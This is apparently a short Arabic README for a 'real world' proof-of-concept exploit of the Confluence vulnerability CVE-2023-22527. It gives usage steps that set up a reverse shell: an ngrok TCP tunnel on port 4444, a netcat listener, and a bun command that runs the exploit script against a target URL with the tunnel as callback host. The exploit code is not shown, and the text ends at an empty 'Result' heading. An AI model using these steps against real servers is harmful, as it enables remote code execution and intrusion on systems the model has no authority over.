CVE-2023-22527-confluence

[Confluence] CVE-2023-22527 إثبات اختراق (PoC) من العالم الحقيقي

الاستخدام

تحميل bun

https://github.com/oven-sh/bun/releases

تشغيل ngrok

ngrok tcp 4444

الاستماع على localhost 4444

nc -nvlp 4444

تشغيل الاستغلال

bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport 12169 --target https://xxx/

النتيجة